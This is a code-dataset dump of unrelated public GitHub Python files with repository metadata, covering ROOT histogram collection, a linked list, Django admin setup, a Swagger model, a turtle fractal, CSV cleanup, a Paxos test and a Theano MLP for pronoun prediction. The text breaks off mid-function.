7239911c21420bb41edadd6bdde52c22a6ffe90f

30eeca4d18bd863260882272cf391b1531dcc871

/Limits/test/collectHistos.py

5d7c3438171cde65afbc7ca6b8ae0c9b6bdadbf6

[]

no_license

decosa/Stat

3b1a5dabf563366b8117fbc56ceef338b719ad6e

10ba54677f401e574ed803bf739f714c5fd62338

refs/heads/master

2020-04-28T16:53:55.142130

2019-11-26T14:58:29

175,427,511

0

6

null

UTF-8

Python

false

5,232

py

import ROOT import os, sys import optparse import copy from Stat.Limits.settings import processes, histos usage = 'usage: %prog -p histosPath -o outputFile' parser = optparse.OptionParser(usage) parser.add_option('-i', '--input', dest='path', type='string', default= "./histos2017v6/",help='Where can I find input histos?') parser.add_option("-o","--outputFile",dest="output",type="string",default="histos_2017.root",help="Name of the output file collecting histos in Combine user frieldy schema. Default is histos.root") parser.add_option("-s","--stat",dest="mcstat",action='store_true', default=False) (opt, args) = parser.parse_args() sys.argv.append('-b') path_ = opt.path ofilename = opt.output mcstat = opt.mcstat # Creating output file ofile = ROOT.TFile(ofilename,"RECREATE") ofile.Close() # Getting list of files in histos print os.listdir(path_) sampFiles = [f for f in os.listdir(path_) if (os.path.isfile(os.path.join(path_, f)) and f.endswith(".root") and f!=ofilename )] year = "" if("2016" in path_ or "20161718" in path_): year = "2016" elif("2017" in path_): year = "2017" elif("2018" in path_): year = "2018" #*******************************************************# # # # FILLING IN THE INPUT ROOT FILE FOR COMBINE # # # #*******************************************************# histos_data = [] for f in sampFiles: try: ifile = ROOT.TFile.Open(path_ + f) except IOError: print "Cannot open ", f else: print "Opening file ", f ifile.cd() samp = f.replace(".root", "") print "We are looking into file: ", f ofile = ROOT.TFile(ofilename,"UPDATE") for k_, h_ in histos.iteritems(): print "We are looking for object ", h_ h = ifile.Get(h_) if not os.path.isdir( k_+ "_" + year): newsubdir = ofile.mkdir(k_ + "_" +year) ofile.cd(k_+ "_" +year) if(samp.startswith("Data")): samp = "data_obs" #print "We are looking for histo %s for samp %s in %s" % (h_, samp, f) h.SetName(samp) h.Write(samp, ROOT.TObject.kWriteDelete) if(samp.startswith("Data")): histos_data.append(h) nBinsX = h.GetNbinsX() #print "SAMP ",samp if k_ in samp: samp = samp.replace("_" + k_, "") elif "cat" in samp: samp = samp.replace("cat_", "") #print "SAMP after channel removal ",samp if(samp.startswith("data")): samp = "Data" # h_ = h_[:4] if(samp.startswith("SVJ") and not (samp.endswith("Up") or samp.endswith("Down")) and mcstat == True ): for n in xrange(nBinsX): hNameUp = "%s_mcstat_%s_bin%d_Up" % ( h_, samp, n+1) hNameDown = "%s_mcstat_%s_bin%d_Down" % ( h_, samp, n+1) print "Histogram: ", hNameUp h_mcStatUp = ifile.Get(hNameUp) h_mcStatDown = ifile.Get(hNameDown) h_mcStatUp.SetName("%s_mcstat_%s_%s_%s_bin%dUp" % (samp, k_, year, samp, n+1)) h_mcStatUp.Write("%s_mcstat_%s_%s_%s_bin%dUp" % (samp, k_, year, samp, n+1), ROOT.TObject.kWriteDelete) h_mcStatDown.SetName("%s_mcstat_%s_%s_%s_bin%dDown" % (samp, k_, year, samp, n+1)) h_mcStatDown.Write("%s_mcstat_%s_%s_%s_bin%dDown" % (samp, k_, year, samp, n+1), ROOT.TObject.kWriteDelete) ofile.Write() ofile.Close() #*******************************************************# # # # CREATING TOTAL BACKGORUND HISTOS # # # #*******************************************************# histData = dict(zip(histos.keys(), [None]*len(histos.keys()))) for p in processes: try: ifile = ROOT.TFile.Open(path_ + p +".root") except IOError: print "Cannot open ", p +".root" else: print "Opening file ", p +".root" ifile.cd() for k_, h_ in histos.iteritems(): tmphist = ifile.Get( h_) if histData[k_] is None: histData[k_] = copy.deepcopy(tmphist) else: histData[k_].Add(tmphist) ofile = ROOT.TFile(ofilename,"UPDATE") for k_ in histos.keys(): print "Creating Bkg histogram " #if not os.path.isdir( k_ + "_" + year): # newsubdir = ofile.mkdir(k_+"_" + year) ofile.cd(k_+ "_" + year) histData[k_].SetName("Bkg") histData[k_].Write("Bkg", ROOT.TObject.kWriteDelete) print "Bkg integral ", histData[k_].Integral() bkgpdf = histData[k_].Clone("BkgPdf") bkgpdf.Scale(1./ bkgpdf.Integral()) print "Bkg pdf ", bkgpdf.Integral() histdata = bkgpdf.Clone("data_obs") histdata.Reset() print "data pdf ", histdata.Integral() histdata.FillRandom(bkgpdf, int(histData[k_].Integral())) print "data ", histdata.Integral() #histData[k_].SetName("data_obs") histdata.Write("data_obs", ROOT.TObject.kWriteDelete) print "MCSTAT ", mcstat ofile.Write() ofile.Close()

[ "decosa@t3ui03.psi.ch" ]

decosa@t3ui03.psi.ch

daaced6e4d0072db31cb545558da38494a427fbc

93d995cd40ff724570d904956564f5be00f2fbb7

/class_code/Tuesday/singly_linked_list.py

cd80d4481a1ca27165765fbf02938b47e380aa89

[]

no_license

HKang42/Data-Structures

fe37f9b3388bb65c91e44617eb57c8e5ecea21be

0df5d658a9b752ba7e113ec60a7666739066eda1

refs/heads/master

2022-11-08T19:25:31.359372

2020-06-12T06:57:44

271,117,643

0

null

2020-06-09T21:54:26

null

UTF-8

Python

false

5,068

py

class Node: def __init__(self, value, next=None): self.value = value self.next_node = next def get_value(self): # returns the node's data return self.value def get_next(self): # returns the thing pointed at by this node's `next` reference return self.next_node def set_next(self, new_next): # sets this node's `next` reference to `new_next` self.next_node = new_next class LinkedList: def __init__(self): # the first Node in the LinkedList self.head = None # the last Node in the LinkedList self.tail = None ''' Adds `data` to the end of the LinkedList O(1) because this operation doesn't depend on the size of the linked list ''' def add_to_tail(self, data): # wrap the `data` in a Node instance new_node = Node(data) # what about the empty case, when both self.head = None and self.tail = None? if not self.head and not self.tail: # list is empty # update both head and tail to point to the new node self.head = new_node self.tail = new_node # non-empty linked list case else: # call set_next with the new_node on the current tail node self.tail.set_next(new_node) # update self.tail to point to the new last Node in the linked list self.tail = new_node ''' Removes the Node that `self.tail` is referring to and returns the Node's data What's the runtime of this method? ''' def remove_tail(self): # if the linked list is empty if self.tail is None: return None # save the tail Node's data data = self.tail.get_value() # both head and tail refer to the same Node # there's only one Node in the linked list if self.head is self.tail: # set both to be None self.head = None self.tail = None else: # in order to update `self.tail` to point to the # the Node _before_ the tail, we need to traverse # the whole linked list starting from the head, # because we cannot move backwards from any one # Node, so we have to start from the beginning current = self.head # traverse until we get to the Node right # before the tail Node while current.get_next() != self.tail: current = current.get_next() # `current` is now pointing at the Node right # before the tail Node self.tail = None self.tail = current # self.tail.set_next(None) return data ''' Removes the Node that `self.head` is referring to and returns the Node's data ''' def remove_head(self): if self.head is None: return None # save the head Node's data data = self.head.get_value() # both head and tail refer to the same Node # there's only one Node in the linked list if self.head is self.tail: # set both to be None self.head = None self.tail = None else: # we have more than one Node in the linked list # delete the head Node # update `self.head` to refer to the Node after the Node we just deleted self.head = self.head.get_next() return data ''' Traverses the linked list and returns a boolean indicating whether the specified `data` is in the linked list. What's the runtime for this method? ''' def contains(self, data): # an empty linked list can't contain what we're looking for if not self.head: return False # get a reference to the first Node in the linked list # we update what this Node points to as we traverse the linked list current = self.head # traverse the linked list so long as `current` is referring # to a Node while current is not None: # check if the Node that `current` is pointing at is holding # the data we're looking for if current.get_value() == data: return True # update our `current` pointer to point to the next Node in the linked list current = current.get_next() # we checked the whole linked list and didn't find the data return False ''' Traverses the linked list, fetching the max value in the linked list What is the runtime of this method? ''' def get_max(self): if self.head is None: return None max_so_far = self.head.get_value() current = self.head.get_next() while current is not None: if current.get_value() > max_so_far: max_so_far = current.get_value() current = current.get_next() return max_so_far

[ "h.kang.q@gmail.com" ]

h.kang.q@gmail.com

ce2059c2fc6ac68411c1e74a87f22ee1b3a945ba

330491e45677af7dc41525336296b3f322a146e6

/data_collection/svcca_test_scan.py

f34105ef9c989289953072f079e04d3f3a04d7ea

[]

no_license

arnupretorius/betterInitAtLimitedDepth_2019

c8eff9ad6340a0b8f8f30897684cc31158189c9d

a3488aba6f0003892f72e61f659178a4758061b4

refs/heads/master

2020-07-03T03:53:23.904397

2019-08-11T14:44:36

201,775,497

0

null

UTF-8

Python

false

2,024

py

import sys, os import numpy as np sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) from src.utils import load_model, get_experiment_dicts TEST_LIST_DIRECTORY = "{}/temp/".format(os.path.dirname(os.path.abspath(__file__))) TEST_LIST_PATH = "{}/test_list.txt".format(TEST_LIST_DIRECTORY) TEST_DICT_PATH = "{}/test_dict.npz".format(TEST_LIST_DIRECTORY) def write_details_to_file(dictionary, dict_index, keys=[]): for key in dictionary: if isinstance(dictionary[key], dict): write_details_to_file(dictionary[key], dict_index, keys + [key]) elif isinstance(dictionary[key], list): final_epoch_model_path = os.path.abspath(dictionary[key][-1]) # write to file (append) with open(TEST_LIST_PATH, "a") as test_list_file: [noise_type, noise_level, hyperparam_index], init_index = keys, key test_list_file.write( "{dict_index} {noise_type} {noise_level} {hyperparam_index} {init_index}\n".format( dict_index=dict_index, noise_type=noise_type, noise_level=noise_level, hyperparam_index=hyperparam_index, init_index=init_index ) ) else: raise ValueError("The dictionary provided to the write_final_epoch_path_to_file function was not in the correct format.") if __name__ == "__main__": root_dir = '../results/mnist' experiment_dicts = get_experiment_dicts(root_dir) paths_per_experiment_dict = [] for experiment_dict in experiment_dicts: model_paths = load_model(experiment_dict, path_to_results=root_dir) paths_per_experiment_dict.append(model_paths) os.makedirs(TEST_LIST_DIRECTORY, exist_ok=True) open(TEST_LIST_PATH, "w").close() np.savez_compressed(TEST_DICT_PATH, data=paths_per_experiment_dict) for index, dictionary in enumerate(paths_per_experiment_dict): write_details_to_file(dictionary, dict_index=index)

[ "arnupretorius@gmail.com" ]

arnupretorius@gmail.com

ba655956928273bdb83c374d24470b7db1bd2652

daa05742d81f4bb5b0385682f89eed89a97f08d2

/vproj/library/admin.py

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[]

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meetakshiaggarwal/lib-proj-vib

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refs/heads/master

2021-01-10T08:08:12.417942

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from django.contrib import admin # Register your models here. from .forms import CategoryForm from .forms import AuthorForm from .forms import PublisherForm from .forms import BookForm from .forms import HasCategoryForm from .forms import CompiledByForm from .forms import MemberForm from .forms import BookCopyForm from .forms import HistoryForm from .forms import WaitingListForm from .models import Category from .models import Author from .models import Publisher from .models import Book from .models import HasCategory from .models import CompiledBy from .models import Member from .models import BookCopy from .models import History from .models import WaitingList class CategoryAdmin(admin.ModelAdmin): list_display = ["__unicode__", "category_id"] form = CategoryForm class AuthorAdmin(admin.ModelAdmin): list_display = ["__unicode__", "author_id"] form = AuthorForm class PublisherAdmin(admin.ModelAdmin): list_display = ["__unicode__", "publisher_id"] form = PublisherForm class BookAdmin(admin.ModelAdmin): list_display = ["book_id","__unicode__", "isbn_no","rating", "no_of_copies"] form = BookForm class HasCategoryAdmin(admin.ModelAdmin): list_display = ["__unicode__"] form = HasCategoryForm class CompiledByAdmin(admin.ModelAdmin): list_display = ["book_id","author_id","publisher_id"] form = CompiledByForm class MemberAdmin(admin.ModelAdmin): # list_display = ["first_name","last_name","phone","email","date_of_joining","reference_id"] form = MemberForm class BookCopyAdmin(admin.ModelAdmin): form = BookCopyForm class HistoryAdmin(admin.ModelAdmin): form = HistoryForm class WaitingListAdmin(admin.ModelAdmin): form = WaitingListForm # admin.site.register(SignUp,SignUpAdmin) admin.site.register(Category,CategoryAdmin) admin.site.register(Author, AuthorAdmin) admin.site.register(Publisher,PublisherAdmin) admin.site.register(Book,BookAdmin) admin.site.register(HasCategory,HasCategoryAdmin) admin.site.register(CompiledBy,CompiledByAdmin) admin.site.register(Member, MemberAdmin) admin.site.register(BookCopy,BookCopyAdmin) admin.site.register(History,HistoryAdmin) admin.site.register(WaitingList,WaitingListAdmin)

[ "meetakshi17@gmail.com" ]

meetakshi17@gmail.com

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/swagger_client/models/tpo_data_dt_os_controller_parameters_lab_request_parameter.py

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[]

no_license

my-workforce/TMB-SDK

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refs/heads/main

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# coding: utf-8 """ Transaction Management Bus (TMB) API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: V3.2.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class TpoDataDTOsControllerParametersLabRequestParameter(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'lab_request': 'TpoDataDTOsLabLabRequestDTO' } attribute_map = { 'lab_request': 'LabRequest' } def __init__(self, lab_request=None): # noqa: E501 """TpoDataDTOsControllerParametersLabRequestParameter - a model defined in Swagger""" # noqa: E501 self._lab_request = None self.discriminator = None self.lab_request = lab_request @property def lab_request(self): """Gets the lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. # noqa: E501 :return: The lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. # noqa: E501 :rtype: TpoDataDTOsLabLabRequestDTO """ return self._lab_request @lab_request.setter def lab_request(self, lab_request): """Sets the lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. :param lab_request: The lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. # noqa: E501 :type: TpoDataDTOsLabLabRequestDTO """ if lab_request is None: raise ValueError("Invalid value for `lab_request`, must not be `None`") # noqa: E501 self._lab_request = lab_request def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(TpoDataDTOsControllerParametersLabRequestParameter, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, TpoDataDTOsControllerParametersLabRequestParameter): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

[ "fodeh@i3hub.com" ]

fodeh@i3hub.com

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/py2/fractal_tree_v1.1.py

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[]

no_license

ArvinShaffer/anaconda

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refs/heads/master

2023-02-17T19:17:57.351454

2023-02-15T11:53:58

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""" Author:Arvin Shaffer Function:Draw a five-pointed star! Version:1.1 Date:02/15/2018 1.1 New Function:Use iteration function draw Fractal tree """ import turtle def draw_recursive_Fractal(size): """ Use iteration to draw a Fractal tree :param size: :return: """ if size > 5: turtle.forward(size) turtle.right(20) draw_recursive_Fractal(size - 10) turtle.left(40) draw_recursive_Fractal(size - 10) turtle.right(20) turtle.backward(size) def initial_brush(): turtle.pencolor('red') turtle.penup() turtle.sety(-100) turtle.pendown() turtle.left(90) def main(): initial_brush() draw_recursive_Fractal(66) turtle.exitonclick() if __name__ == "__main__" : main()

[ "jianzhimo@sina.cn" ]

jianzhimo@sina.cn

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/JD_spider/fit.py

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[]

no_license

ElecEyeCk/EEC

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refs/heads/master

2023-08-05T23:41:09.681636

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import pandas as pd import csv file_path = "C:/Users/王羽钧/Desktop/大三下/软件工程课设/数据集/7-6/JD_Phone6.csv" csv_file = pd.read_csv(file_path) commit_list = csv_file['commit'].copy() name_list = csv_file['name'].copy() adr_list = csv_file['adr'].copy() price_list = csv_file['price'].copy() shop_list = csv_file['shop'].copy() icons_list = csv_file['icons'].copy() for i in range(0,len(name_list)): name_list[i] = name_list[i].replace("\n", "") with open(file_path, 'w', newline='', encoding='utf-8-sig')as f: fieldnames = ["adr", "name", "price", "commit", "shop", "icons"] f_csv = csv.DictWriter(f, fieldnames=fieldnames) f_csv.writeheader() for i in range(0, len(commit_list)): f_csv.writerow( { "adr": adr_list[i], "name": name_list[i], "price": price_list[i], "commit": commit_list[i], "shop": shop_list[i], "icons": icons_list[i] } ) f.close()

[ "44989275+Alex3der@users.noreply.github.com" ]

44989275+Alex3der@users.noreply.github.com

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permissive

telavivmakers/geek_code

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2023-02-23T04:41:38.580022

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2023-02-18T18:33:13

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JavaScript

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import geek_decode meaning,remaining = geek_decode.parse_geekcode(' GS blabla GDS') print(meaning, remaining)

[ "noreply@github.com" ]

noreply@github.com

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/test3.py

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[]

no_license

Alex-kaer/paxos-edu

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from paxos import run_cli hosts_ports = ( ('127.0.0.1', '8881'), ('127.0.0.1', '8882'), ('127.0.0.1', '8883'), ('127.0.0.1', '8884'), ('127.0.0.1', '8885'), ) run_cli(*hosts_ports[2], hosts_ports, hosts_ports[2][1])

[ "jimzuolin@gmail.com" ]

jimzuolin@gmail.com

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/venv/lib/python3.7/rlcompleter.py

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[]

no_license

brady19990517/bottletest

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refs/heads/master

2022-06-13T17:05:59.187688

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/Users/bpeng/anaconda3/lib/python3.7/rlcompleter.py

[ "dearbrady19990517@gmail.com" ]

dearbrady19990517@gmail.com

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/model.py

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[ "Apache-2.0" ]

permissive

jimmycallin/whatelles

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refs/heads/master

2021-01-18T04:38:08.403436

2015-09-10T08:47:30

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py

import theano import theano.tensor as T import numpy as np class MLP(object): """Multi-Layer Perceptron Class A multilayer perceptron is a feedforward artificial neural network model that has one layer or more of hidden units and nonlinear activations. Intermediate layers usually have as activation function tanh or the sigmoid function (defined here by a ``HiddenLayer`` class) while the top layer is a softamx layer (defined here by a ``LogisticRegression`` class). """ def __init__(self, rng, input, n_hiddens, n_out, activation_function, cost_function, vocab_size, embedding_dimensionality, no_embeddings): """Initialize the parameters for the multilayer perceptron :type rng: numpy.random.RandomState :param rng: a random number generator used to initialize weights :type input: theano.tensor.TensorType :param input: symbolic variable that describes the input of the architecture (one minibatch) :type n_hiddens: list[int] :param n_hidden: list of number of hidden units for each hidden layer :type n_out: int :param n_out: number of output units, the dimension of the space in which the labels lie """ embedding_layer = EmbeddingLayer(rng=rng, input=input, vocab_size=vocab_size, embedding_dimensionality=embedding_dimensionality, no_embeddings=no_embeddings, embeddings=None, activation=activation_function) self.hidden_layers = [embedding_layer] prev_layer_n = embedding_layer.n_out prev_input = embedding_layer.output for n_hidden in n_hiddens: hidden_layer = HiddenLayer(rng=rng, input=prev_input, n_in=prev_layer_n, n_out=n_hidden, activation=activation_function) self.hidden_layers.append(hidden_layer) prev_layer_n = n_hidden prev_input = hidden_layer.output self.log_regression_layer = LogisticRegression(input=self.hidden_layers[-1].output, n_in=self.hidden_layers[-1].n_out, n_out=n_out, cost_function=cost_function) l1_hidden_layers = sum([abs(hl.W).sum() for hl in self.hidden_layers]) l2_hidden_layers = sum([(hl.W ** 2).sum() for hl in self.hidden_layers]) self.L1 = l1_hidden_layers + abs(self.log_regression_layer.W).sum() self.L2_sqr = l2_hidden_layers + (self.log_regression_layer.W ** 2).sum() self.errors = self.log_regression_layer.errors self.y_pred = self.log_regression_layer.y_pred self.calculate_cost = self.log_regression_layer.calculate_cost self.params = [p for hl in self.hidden_layers for p in hl.params] + self.log_regression_layer.params class EmbeddingLayer(): def __init__(self, rng, input, vocab_size, embedding_dimensionality, no_embeddings, embeddings=None, activation=T.nnet.sigmoid): self.input = T.cast(input, 'int32') self.activation = activation batch_size = input.shape[0] self.embedding_dimensionality = embedding_dimensionality self.no_embeddings = no_embeddings self.n_out = no_embeddings * embedding_dimensionality if embeddings is None: embeddings = np.asarray(rng.uniform(low=-np.sqrt(6 / (vocab_size + embedding_dimensionality)), high=np.sqrt(6 / (vocab_size + embedding_dimensionality)), size=(vocab_size, embedding_dimensionality)), dtype=theano.config.floatX) if activation == theano.tensor.nnet.sigmoid: # Sigmoid demands a larger interval, according to [Xavier10]. embeddings *= 4 embeddings = theano.shared(value=embeddings, name='embeddings', borrow=True) self.embeddings = embeddings # Replace all word indices in input with word embeddings emb_input = self.embeddings[self.input.flatten()] # Reshape to match original input (times embedding dimensionality on columns) self.W = emb_input.reshape((batch_size, no_embeddings * embedding_dimensionality)) self.output = self.W if self.activation is None else self.activation(self.W) self.params = [self.embeddings] class HiddenLayer(): def __init__(self, rng, input, n_in, n_out, W=None, b=None, activation=T.tanh): self.input = input self.activation = activation self.n_in = n_in self.n_out = n_out if W is None: W_values = np.asarray(rng.uniform(low=-np.sqrt(6 / (n_in + n_out)), high=np.sqrt(6 / (n_in + n_out)), size=(n_in, n_out)), dtype=theano.config.floatX) if activation == theano.tensor.nnet.sigmoid: # Sigmoid demands a larger interval, according to [Xavier10]. W_values *= 4 W = theano.shared(value=W_values, name='W', borrow=True) if b is None: b_values = np.zeros((n_out,), dtype=theano.config.floatX) b = theano.shared(value=b_values, name='b', borrow=True) self.W = W self.b = b lin_output = T.dot(input, self.W) + self.b self.output = (lin_output if self.activation is None else self.activation(lin_output)) self.params = [self.W, self.b] class LogisticRegression(object): """Multi-class Logistic Regression Class The logistic regression is fully described by a weight matrix :math:`W` and bias vector :math:`b`. Classification is done by projecting data points onto a set of hyperplanes, the distance to which is used to determine a class membership probability. """ def __init__(self, input, n_in, n_out, cost_function): """ Initialize the parameters of the logistic regression :type input: theano.tensor.TensorType :param input: symbolic variable that describes the input of the architecture (one minibatch) :type n_in: int :param n_in: number of input units, the dimension of the space in which the datapoints lie :type n_out: int :param n_out: number of output units, the dimension of the space in which the labels lie :type: cost_function: function :param cost_function: Cost function to use. """ self.cost_function = cost_function # initialize with 0 the weights W as a matrix of shape (n_in, n_out) self.W = theano.shared(value=np.zeros((n_in, n_out), dtype=theano.config.floatX), name='W', borrow=True) # initialize the baises b as a vector of n_out 0s self.b = theano.shared(value=np.zeros((n_out,), dtype=theano.config.floatX), name='b', borrow=True) self.p_y_given_x = T.nnet.softmax(T.dot(input, self.W) + self.b) self.y_pred = T.argmax(self.p_y_given_x, axis=1) # parameters of the model self.params = [self.W, self.b] def calculate_cost(self, y): return self.cost_function(self.p_y_given_x, y) def predicted(self): return self.y_pred def errors(self, y): """Return a float representing the number of errors in the minibatch over the total number of examples of the minibatch ; zero one loss over the size of the minibatch :type y: theano.tensor.TensorType :param y: corresponds to a vector that gives for each example the correct label """ # check if y has same dimension of y_pred if y.ndim != self.y_pred.ndim: raise TypeError('y should have the same shape as self.y_pred', ('y', y.type, 'y_pred', self.y_pred.type)) # check if y is of the correct datatype if y.dtype.startswith('int'): # the T.neq operator returns a vector of 0s and 1s, where 1 # represents a mistake in prediction return T.mean(T.neq(self.y_pred, y)) else: raise NotImplementedError("Input of y needs to have dtype int") class NNPrediction(): model_parameters = {"n_epochs": "Number of epochs for training.", "seed": "Seed to use for random initialization.", "learning_rate": "The rate of learning gradient descent.", "batch_size": "How large batch for each iteration of training.", "validation_improvement_threshold": "How much the validation test must improve \ within a given before aborting.", "min_iterations": "Run at least these many iterations without early stopping.", "activation_function": "Activation function to use.", "cost_function": "Cost_function to use.", "embedding_dimensionality": "The dimensionality of each embedding layer.", "no_embeddings": "Total number of embedding layers.", "L1_reg": "The L1 regression factor.", "L2_reg": "The L2 regression factor.", "classes": "The training output classes.", "n_hiddens": "List of hidden layers with each layers dimensionality.", "window_size": "A tuple of number of words to left and right to condition upon.", "n_tags": "Number of previous POS tags to look for.", "ignore_pos_tags": "Whether to ignore this feature type or not.", "ignore_target_context": "Whether to ignore this feature type or not.", "ignore_source_context": "Whether to ignore this feature type or not."} def __init__(self, config): self.config = config self.x = T.matrix('x') self.y = T.ivector('y') self.n_epochs = config.get('n_epochs', 50) self.rng = np.random.RandomState(self.config.get('seed', 1)) self.learning_rate = self.config.get('learning_rate', 0.01) self.batch_size = self.config.get('batch_size', 500) self.validation_improvement_threshold = self.config.get('validation_improvement_threshold', 0.995) self.min_iterations = self.config.get('min_iterations', 10000) self.index = T.lscalar() def _initialize_classifier(self): self.config['vocab_size'] = self.no_words self.classifier = MLP(rng=self.rng, input=self.x, n_hiddens=self.config['n_hiddens'], n_out=self.config['n_out'], activation_function=self.config['activation_function'], cost_function=self.config['cost_function'], vocab_size=self.config['vocab_size'], embedding_dimensionality=self.config['embedding_dimensionality'], no_embeddings=self.config['no_embeddings']) self.cost = (self.classifier.calculate_cost(self.y) + self.config.get('L1_reg', 0) * self.classifier.L1 + self.config.get('L2_reg', 0.0001) * self.classifier.L2_sqr) gparams = [T.grad(self.cost, param) for param in self.classifier.params] self.updates = [(param, param - self.learning_rate * gparam) for param, gparam in zip(self.classifier.params, gparams)] def _initialize_train_model(self, train_set_x, train_set_y): """ Initializes the training model. Params: :train_set_x: A matrix of features, where each row corresponds to a new training instance. :train_set_y: A list of corresponding training outputs. Returns a training model theano function, taking a batch index as input. """ shared_x = theano.shared(np.asarray(train_set_x, dtype=theano.config.floatX), borrow=True) shared_y = theano.shared(np.asarray(train_set_y, dtype=theano.config.floatX), borrow=True) # GPU only handles float32 while the output should actually be int. shared_y = T.cast(shared_y, 'int32') batch_interval = slice(self.index * self.batch_size, (self.index + 1) * self.batch_size) train_model = theano.function(inputs=[self.index], outputs=self.cost, updates=self.updates, givens={self.x: shared_x[batch_interval], self.y: shared_y[batch_interval]} ) return train_model def _initialize_test_model(self, test_set_x): """ Initializes the test model. Params: :test_set_x: A matrix of features, where each row corresponds to a new instance. Returns a test model theano function. When calling the function, it runs the test. The test model outputs a list of predicted classes. """ shared_x = theano.shared(np.asarray(test_set_x, dtype=theano.config.floatX), borrow=True) # batch_interval = slice(self.index * self.batch_size, (self.index + 1) * self.batch_size) test_model = theano.function(inputs=[], outputs=self.classifier.y_pred, givens={self.x: shared_x}) return test_model def _initialize_dev_model(self, train_set_x, train_set_y): """ Initializes the development model. Params: :test_set_x: A matrix of features, where each row corresponds to a new instance. Returns a dev model theano function. When calling the function, it runs the test. Output of dev model is the mean error value. """ shared_x = theano.shared(np.asarray(train_set_x, dtype=theano.config.floatX), borrow=True) shared_y = theano.shared(np.asarray(train_set_y, dtype=theano.config.floatX), borrow=True) # GPU only handles float32 while the output should actually be int. shared_y = T.cast(shared_y, 'int32') test_model = theano.function(inputs=[], outputs=self.classifier.errors(self.y), givens={self.x: shared_x, self.y: shared_y}) return test_model def train(self, training_data, validation_data=None): """ Trains the classifier given a training set (list of data_utils.Sentence instances). If given a validation set, validate the improvement of the model every :validation_frequency:th time. If no improvements have happened for a while, abort the training early. """ train_set_x, train_set_y = self.featurify(training_data, update_vocab=True) self._initialize_classifier() train_model = self._initialize_train_model(train_set_x, train_set_y) validation_model = None if validation_data is not None: validation_set_x, validation_set_y = self.featurify(validation_data) validation_model = self._initialize_dev_model(validation_set_x, validation_set_y) best_error_rate = np.inf n_train_batches = len(train_set_x) // self.batch_size epoch = 0 iteration = 0 best_iteration = None break_early = False if validation_model is not None: patience = self.min_iterations validation_frequency = min(n_train_batches, patience // 2) else: patience = self.n_epochs * len(train_set_x) for epoch in range(self.n_epochs): if break_early: break print("Training epoch {}".format(epoch)) for minibatch_index in range(n_train_batches): iteration = epoch * n_train_batches + minibatch_index train_model(minibatch_index) if validation_model is not None and (iteration + 1) % validation_frequency == 0: error_rate = self._evaluate(validation_model, self.batch_size, len(validation_set_x)) print("Validation error rate: {}, epoch {}, minibatch {}".format(error_rate, epoch, minibatch_index)) if error_rate < best_error_rate: if error_rate < best_error_rate * self.validation_improvement_threshold: patience = max(patience, iteration * 2) best_error_rate = error_rate best_iteration = iteration if patience <= iteration: print("Breaking at iteration {}".format(iteration)) break_early = True break print("Finished training model.") if validation_model is not None: print("Best validation error rate: {} on iteration {}".format(best_error_rate, best_iteration)) def predict(self, test_data): test_set_x, test_set_y = self.featurify(test_data) test_model = self._initialize_test_model(test_set_x) predictions = self._evaluate(test_model, self.batch_size, len(test_set_x)) return predictions def _evaluate(self, test_model, batch_size, test_set_length): return test_model() def output(self, predictions, output_path): """ Outputs the prediction results in a format recognized by the discoMT_scorer.pl. """ pred_iter = iter(predictions) test_instances = [] with open(self.config['development_filepath']) as test_data: for line in test_data: (class_labels, removed_words, source_sentence, target_sentence, alignments) = [x.strip() for x in line.split('\t')] class_labels = class_labels.split() removed_words = removed_words.split() instances_predicted = [] for _ in range(len(class_labels)): instances_predicted.append(self.classes[next(pred_iter)]) test_instances.append([instances_predicted, removed_words, source_sentence, target_sentence, alignments]) if output_path is not None: with open(output_path, 'w') as output: for line in test_instances: line_str = "" for column in line[:2]: line_str += " ".join(column) + "\t" line_str += "\t".join(line[2:]) print(line_str) output.write(line_str + "\n") class PronounPrediction(NNPrediction): """ This is the main model for cross-lingual pronoun prediction. """ model_parameters = dict(NNPrediction.model_parameters) def __init__(self, config): self._word2id = dict() self.classes = config['classes'] self.no_words = 0 config['n_out'] = len(self.classes) self.word2id("UNK", update_vocab=True) # initialize unknown id super().__init__(config) def featurify(self, sentences, update_vocab=False): """ Param sentences: list of data_utils.Sentence instances """ x_matrix = [] y_vector = [] for sentence in sentences: target_contexts = sentence.removed_words_target_contexts(*self.config['window_size']) source_contexts = sentence.removed_words_source_contexts(*self.config['window_size']) sentence_details = zip(sentence.removed_words_source_indices, target_contexts, source_contexts) for k, (source_indices, target_context, source_context) in enumerate(sentence_details): features = [] if not self.config.get('ignore_target_context', False): # Add target context features for i, context_word in enumerate(target_context): if i != len(target_context) // 2: # ignore word to replace features.append(self.word2id(context_word, update_vocab=update_vocab)) if not self.config.get('ignore_source_context', False): # Add source context features for context_word in source_context: if isinstance(context_word, list): features.append(self.word2id(context_word[0], update_vocab=update_vocab)) else: features.append(self.word2id(context_word, update_vocab=update_vocab)) if not self.config.get('ignore_pos_tags', False): # Add n_tags previous nouns noun_tags = ("NN", "NNS", "NNP", "NNPS", "PRP", "PRP$") for nouns in sentence.get_previous_target_words_with_tag(source_indices[0], self.config['n_tags'], tags=noun_tags): # only add first target noun features.append(self.word2id(nouns[0])) # Add n_tags previous articles article_tags = ("DT",) for articles in sentence.get_previous_target_words_with_tag(source_indices[0], 